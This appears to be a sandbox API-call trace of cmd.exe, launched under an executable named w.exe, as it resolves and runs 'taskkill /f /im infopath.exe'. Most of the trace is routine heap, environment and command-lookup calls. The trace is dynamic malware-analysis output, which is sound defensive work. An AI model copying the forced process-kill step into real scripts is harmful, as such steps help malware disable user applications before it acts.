	[0044.362] GetEnvironmentStringsW () returned 0x862220*
	[0044.363] GetProcessHeap () returned 0x850000
	[0044.363] RtlAllocateHeap (HeapHandle=0x850000, Flags=0x8, Size=0xae2) returned 0x864b80
	[0044.363] FreeEnvironmentStringsW (penv=0x862220) returned 1
	[0044.363] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4aaa0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0044.363] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4aaa0640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0044.363] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0044.363] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0044.363] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0044.363] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0044.363] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0044.363] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0044.363] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0044.363] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0044.363] GetProcessHeap () returned 0x850000
	[0044.363] RtlAllocateHeap (HeapHandle=0x850000, Flags=0x8, Size=0x54) returned 0x865670
	[0044.363] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x44f69c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0044.363] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x44f69c, lpFilePart=0x44f698 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x44f698*="Desktop") returned 0x25
	[0044.363] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0044.363] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x44f418 | out: lpFindFileData=0x44f418*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x861e88
	[0044.363] FindClose (in: hFindFile=0x861e88 | out: hFindFile=0x861e88) returned 1
	[0044.364] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x44f418 | out: lpFindFileData=0x44f418*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x861e88
	[0044.364] FindClose (in: hFindFile=0x861e88 | out: hFindFile=0x861e88) returned 1
	[0044.364] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
	[0044.364] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x44f418 | out: lpFindFileData=0x44f418*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf321cc00, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xf321cc00, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x861e88
	[0044.364] FindClose (in: hFindFile=0x861e88 | out: hFindFile=0x861e88) returned 1
	[0044.364] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0044.364] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0044.364] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0044.364] GetProcessHeap () returned 0x850000
	[0044.364] HeapFree (in: hHeap=0x850000, dwFlags=0x0, lpMem=0x864b80 | out: hHeap=0x850000) returned 1
	[0044.364] GetEnvironmentStringsW () returned 0x864090*
	[0044.364] GetProcessHeap () returned 0x850000
	[0044.364] RtlAllocateHeap (HeapHandle=0x850000, Flags=0x8, Size=0xb36) returned 0x865ed0
	[0044.364] FreeEnvironmentStringsW (penv=0x864090) returned 1
	[0044.364] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4aa95260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0044.364] GetProcessHeap () returned 0x850000
	[0044.364] HeapFree (in: hHeap=0x850000, dwFlags=0x0, lpMem=0x865670 | out: hHeap=0x850000) returned 1
	[0044.364] GetProcessHeap () returned 0x850000
	[0044.364] RtlAllocateHeap (HeapHandle=0x850000, Flags=0x8, Size=0x400e) returned 0x866a10
	[0044.365] GetProcessHeap () returned 0x850000
	[0044.365] RtlAllocateHeap (HeapHandle=0x850000, Flags=0x8, Size=0x4c) returned 0x862d60
	[0044.365] GetProcessHeap () returned 0x850000
	[0044.365] RtlAllocateHeap (HeapHandle=0x850000, Flags=0x8, Size=0x4008) returned 0x86aa28
	[0044.365] GetProcessHeap () returned 0x850000
	[0044.365] RtlAllocateHeap (HeapHandle=0x850000, Flags=0x8, Size=0x4008) returned 0x86ea38
	[0044.367] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0044.367] GetProcessHeap () returned 0x850000
	[0044.367] RtlAllocateHeap (HeapHandle=0x850000, Flags=0x8, Size=0x418) returned 0x862db8
	[0044.367] SetErrorMode (uMode=0x0) returned 0x8003
	[0044.367] SetErrorMode (uMode=0x1) returned 0x0
	[0044.367] GetFullPathNameW (in: lpFileName="taskkill \\f \\.", nBufferLength=0x208, lpBuffer=0x862dc0, lpFilePart=0x44f614 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f", lpFilePart=0x44f614*="f") returned 0x31
	[0044.367] SetErrorMode (uMode=0x8003) returned 0x1
	[0044.367] GetProcessHeap () returned 0x850000
	[0044.367] RtlReAllocateHeap (Heap=0x850000, Flags=0x0, Ptr=0x862db8, Size=0x8e) returned 0x862db8
	[0044.367] GetProcessHeap () returned 0x850000
	[0044.367] RtlSizeHeap (HeapHandle=0x850000, Flags=0x0, MemoryPointer=0x862db8) returned 0x8e
	[0044.367] NeedCurrentDirectoryForExePathW (ExeName="taskkill \\f \\.") returned 1
	[0044.367] GetProcessHeap () returned 0x850000
	[0044.368] RtlAllocateHeap (HeapHandle=0x850000, Flags=0x8, Size=0x72) returned 0x872a60
	[0044.368] GetProcessHeap () returned 0x850000
	[0044.368] RtlAllocateHeap (HeapHandle=0x850000, Flags=0x8, Size=0xd8) returned 0x862e50
	[0044.368] GetProcessHeap () returned 0x850000
	[0044.368] RtlReAllocateHeap (Heap=0x850000, Flags=0x0, Ptr=0x862e50, Size=0x72) returned 0x862e50
	[0044.368] GetProcessHeap () returned 0x850000
	[0044.368] RtlSizeHeap (HeapHandle=0x850000, Flags=0x0, MemoryPointer=0x862e50) returned 0x72
	[0044.368] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4aaa0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0044.368] GetProcessHeap () returned 0x850000
	[0044.368] RtlAllocateHeap (HeapHandle=0x850000, Flags=0x8, Size=0xe0) returned 0x862ed0
	[0044.372] GetProcessHeap () returned 0x850000
	[0044.372] RtlReAllocateHeap (Heap=0x850000, Flags=0x0, Ptr=0x862ed0, Size=0x76) returned 0x862ed0
	[0044.372] GetProcessHeap () returned 0x850000
	[0044.372] RtlSizeHeap (HeapHandle=0x850000, Flags=0x0, MemoryPointer=0x862ed0) returned 0x76
	[0044.372] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0044.372] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f\\im infopath.exe ", fInfoLevelId=0x1, lpFindFileData=0x44f3b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x44f3b0) returned 0xffffffff
	[0044.372] GetLastError () returned 0x3
	[0044.372] GetProcessHeap () returned 0x850000
	[0044.372] HeapFree (in: hHeap=0x850000, dwFlags=0x0, lpMem=0x86aa28 | out: hHeap=0x850000) returned 1
	[0044.372] GetProcessHeap () returned 0x850000
	[0044.372] HeapFree (in: hHeap=0x850000, dwFlags=0x0, lpMem=0x86ea38 | out: hHeap=0x850000) returned 1
	[0044.372] GetProcessHeap () returned 0x850000
	[0044.372] HeapFree (in: hHeap=0x850000, dwFlags=0x0, lpMem=0x866a10 | out: hHeap=0x850000) returned 1
	[0044.372] GetConsoleOutputCP () returned 0x1b5
	[0044.372] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4aa94260 | out: lpCPInfo=0x4aa94260) returned 1
	[0044.372] GetUserDefaultLCID () returned 0x409
	[0044.373] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4aa94950, cchData=8 | out: lpLCData=":") returned 2
	[0044.373] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x44f7dc, cchData=128 | out: lpLCData="0") returned 2
	[0044.373] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x44f7dc, cchData=128 | out: lpLCData="0") returned 2
	[0044.373] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x44f7dc, cchData=128 | out: lpLCData="1") returned 2
	[0044.374] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4aa94940, cchData=8 | out: lpLCData="/") returned 2
	[0044.374] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4aa94d80, cchData=32 | out: lpLCData="Mon") returned 4
	[0044.374] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4aa94d40, cchData=32 | out: lpLCData="Tue") returned 4
	[0044.374] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4aa94d00, cchData=32 | out: lpLCData="Wed") returned 4
	[0044.374] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4aa94cc0, cchData=32 | out: lpLCData="Thu") returned 4
	[0044.374] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4aa94c80, cchData=32 | out: lpLCData="Fri") returned 4
	[0044.374] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4aa94c40, cchData=32 | out: lpLCData="Sat") returned 4
	[0044.374] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4aa94c00, cchData=32 | out: lpLCData="Sun") returned 4
	[0044.374] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4aa94930, cchData=8 | out: lpLCData=".") returned 2
	[0044.374] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4aa94920, cchData=8 | out: lpLCData=",") returned 2
	[0044.374] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0044.375] GetProcessHeap () returned 0x850000
	[0044.375] RtlAllocateHeap (HeapHandle=0x850000, Flags=0x0, Size=0x20c) returned 0x862f50
	[0044.375] GetConsoleTitleW (in: lpConsoleTitle=0x862f50, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0044.376] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0044.376] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileExW") returned 0x76c53b92
	[0044.376] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d
	[0044.376] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleInputExeNameW") returned 0x76c4a79d
	[0044.376] GetProcessHeap () returned 0x850000
	[0044.376] RtlAllocateHeap (HeapHandle=0x850000, Flags=0x8, Size=0x400a) returned 0x866a10
	[0044.376] GetProcessHeap () returned 0x850000
	[0044.376] HeapFree (in: hHeap=0x850000, dwFlags=0x0, lpMem=0x866a10 | out: hHeap=0x850000) returned 1
	[0044.377] _wcsicmp (_String1="taskkill", _String2=")") returned 75
	[0044.377] _wcsicmp (_String1="FOR", _String2="taskkill") returned -14
	[0044.377] _wcsicmp (_String1="FOR/?", _String2="taskkill") returned -14
	[0044.377] _wcsicmp (_String1="IF", _String2="taskkill") returned -11
	[0044.377] _wcsicmp (_String1="IF/?", _String2="taskkill") returned -11
	[0044.377] _wcsicmp (_String1="REM", _String2="taskkill") returned -2
	[0044.377] _wcsicmp (_String1="REM/?", _String2="taskkill") returned -2
	[0044.377] GetProcessHeap () returned 0x850000
	[0044.377] RtlAllocateHeap (HeapHandle=0x850000, Flags=0x8, Size=0x58) returned 0x863168
	[0044.377] GetProcessHeap () returned 0x850000
	[0044.377] RtlAllocateHeap (HeapHandle=0x850000, Flags=0x8, Size=0x1a) returned 0x865710
	[0044.378] GetProcessHeap () returned 0x850000
	[0044.378] RtlAllocateHeap (HeapHandle=0x850000, Flags=0x8, Size=0x34) returned 0x8631c8
	[0044.379] GetConsoleTitleW (in: lpConsoleTitle=0x44f4d4, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0044.379] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0044.379] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0044.379] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0044.379] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0044.379] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0044.379] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0044.379] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0044.379] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0044.379] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0044.380] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0044.380] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0044.380] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0044.380] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0044.380] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0044.380] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0044.380] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0044.380] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0044.380] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0044.380] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0044.380] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0044.380] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0044.380] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0044.380] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0044.380] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0044.380] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0044.380] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0044.380] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0044.380] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0044.380] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0044.380] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0044.380] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0044.380] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0044.380] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0044.380] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0044.380] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0044.380] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0044.380] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0044.380] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0044.380] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0044.380] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0044.380] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0044.380] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0044.380] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0044.381] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0044.381] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0044.381] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0044.381] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0044.381] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0044.381] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0044.381] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0044.381] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0044.381] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0044.381] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0044.381] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0044.381] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0044.381] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0044.381] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0044.381] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0044.381] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0044.381] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0044.381] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0044.381] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0044.381] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0044.381] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0044.381] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0044.381] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0044.381] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0044.381] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0044.381] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0044.381] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0044.381] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0044.381] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0044.381] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0044.381] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0044.381] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0044.381] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0044.381] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0044.381] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0044.381] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0044.382] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0044.382] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0044.382] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0044.382] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0044.382] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0044.382] _wcsicmp (_String1="taskkill", _String2="FOR") returned 14
	[0044.382] _wcsicmp (_String1="taskkill", _String2="IF") returned 11
	[0044.382] _wcsicmp (_String1="taskkill", _String2="REM") returned 2
	[0044.382] GetProcessHeap () returned 0x850000
	[0044.382] RtlAllocateHeap (HeapHandle=0x850000, Flags=0x8, Size=0x210) returned 0x863208
	[0044.382] GetProcessHeap () returned 0x850000
	[0044.382] RtlAllocateHeap (HeapHandle=0x850000, Flags=0x8, Size=0x46) returned 0x863420
	[0044.382] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0044.382] GetProcessHeap () returned 0x850000
	[0044.382] RtlAllocateHeap (HeapHandle=0x850000, Flags=0x8, Size=0x418) returned 0x8507f0
	[0044.382] SetErrorMode (uMode=0x0) returned 0x8003
	[0044.383] SetErrorMode (uMode=0x1) returned 0x0
	[0044.383] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x8507f8, lpFilePart=0x44eff4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x44eff4*="Desktop") returned 0x25
	[0044.383] SetErrorMode (uMode=0x8003) returned 0x1
	[0044.383] GetProcessHeap () returned 0x850000
	[0044.383] RtlReAllocateHeap (Heap=0x850000, Flags=0x0, Ptr=0x8507f0, Size=0x66) returned 0x8507f0
	[0044.383] GetProcessHeap () returned 0x850000
	[0044.383] RtlSizeHeap (HeapHandle=0x850000, Flags=0x0, MemoryPointer=0x8507f0) returned 0x66
	[0044.383] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4aaa0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0044.383] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0044.383] GetProcessHeap () returned 0x850000
	[0044.383] RtlAllocateHeap (HeapHandle=0x850000, Flags=0x8, Size=0x120) returned 0x863470
	[0044.383] GetProcessHeap () returned 0x850000
	[0044.383] RtlAllocateHeap (HeapHandle=0x850000, Flags=0x8, Size=0x238) returned 0x850860
	[0044.385] GetProcessHeap () returned 0x850000
	[0044.385] RtlReAllocateHeap (Heap=0x850000, Flags=0x0, Ptr=0x850860, Size=0x122) returned 0x850860
	[0044.385] GetProcessHeap () returned 0x850000
	[0044.385] RtlSizeHeap (HeapHandle=0x850000, Flags=0x0, MemoryPointer=0x850860) returned 0x122
	[0044.385] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4aaa0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0044.385] GetProcessHeap () returned 0x850000
	[0044.385] RtlAllocateHeap (HeapHandle=0x850000, Flags=0x8, Size=0xe0) returned 0x850990
	[0044.385] GetProcessHeap () returned 0x850000
	[0044.385] RtlReAllocateHeap (Heap=0x850000, Flags=0x0, Ptr=0x850990, Size=0x76) returned 0x850990
	[0044.385] GetProcessHeap () returned 0x850000
	[0044.385] RtlSizeHeap (HeapHandle=0x850000, Flags=0x0, MemoryPointer=0x850990) returned 0x76
	[0044.385] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0044.385] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x44ed70, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x44ed70) returned 0xffffffff
	[0044.385] GetLastError () returned 0x2
	[0044.385] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill", fInfoLevelId=0x1, lpFindFileData=0x44ed70, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x44ed70) returned 0xffffffff
	[0044.385] GetLastError () returned 0x2
	[0044.385] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0044.386] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x44ed70, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x44ed70) returned 0x850a10
	[0044.386] GetProcessHeap () returned 0x850000
	[0044.386] RtlAllocateHeap (HeapHandle=0x850000, Flags=0x0, Size=0x14) returned 0x863598
	[0044.386] FindClose (in: hFindFile=0x850a10 | out: hFindFile=0x850a10) returned 1
	[0044.386] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x44ed70, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x44ed70) returned 0xffffffff
	[0044.386] GetLastError () returned 0x2
	[0044.386] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x44ed70, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x44ed70) returned 0x850a10
	[0044.386] GetProcessHeap () returned 0x850000
	[0044.386] RtlReAllocateHeap (Heap=0x850000, Flags=0x0, Ptr=0x863598, Size=0x4) returned 0x863598
	[0044.386] FindClose (in: hFindFile=0x850a10 | out: hFindFile=0x850a10) returned 1
	[0044.386] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0044.386] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0044.386] GetConsoleTitleW (in: lpConsoleTitle=0x44f268, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0044.386] InitializeProcThreadAttributeList (in: lpAttributeList=0x44f0f0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x44f1b8 | out: lpAttributeList=0x44f0f0, lpSize=0x44f1b8) returned 1
	[0044.386] UpdateProcThreadAttribute (in: lpAttributeList=0x44f0f0, dwFlags=0x0, Attribute=0x60001, lpValue=0x44f1b0, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x44f0f0, lpPreviousValue=0x0) returned 1
	[0044.387] GetStartupInfoW (in: lpStartupInfo=0x44f0ac | out: lpStartupInfo=0x44f0ac*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xac, hStdOutput=0xb8, hStdError=0xbc)) 
	[0044.387] GetProcessHeap () returned 0x850000
	[0044.387] RtlAllocateHeap (HeapHandle=0x850000, Flags=0x8, Size=0x18) returned 0x850a10
	[0044.387] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0044.387] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0044.387] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0044.387] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0044.387] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0044.387] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0044.387] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0044.387] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0044.387] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0044.387] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0044.387] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0044.387] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0044.387] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0044.387] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0044.387] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
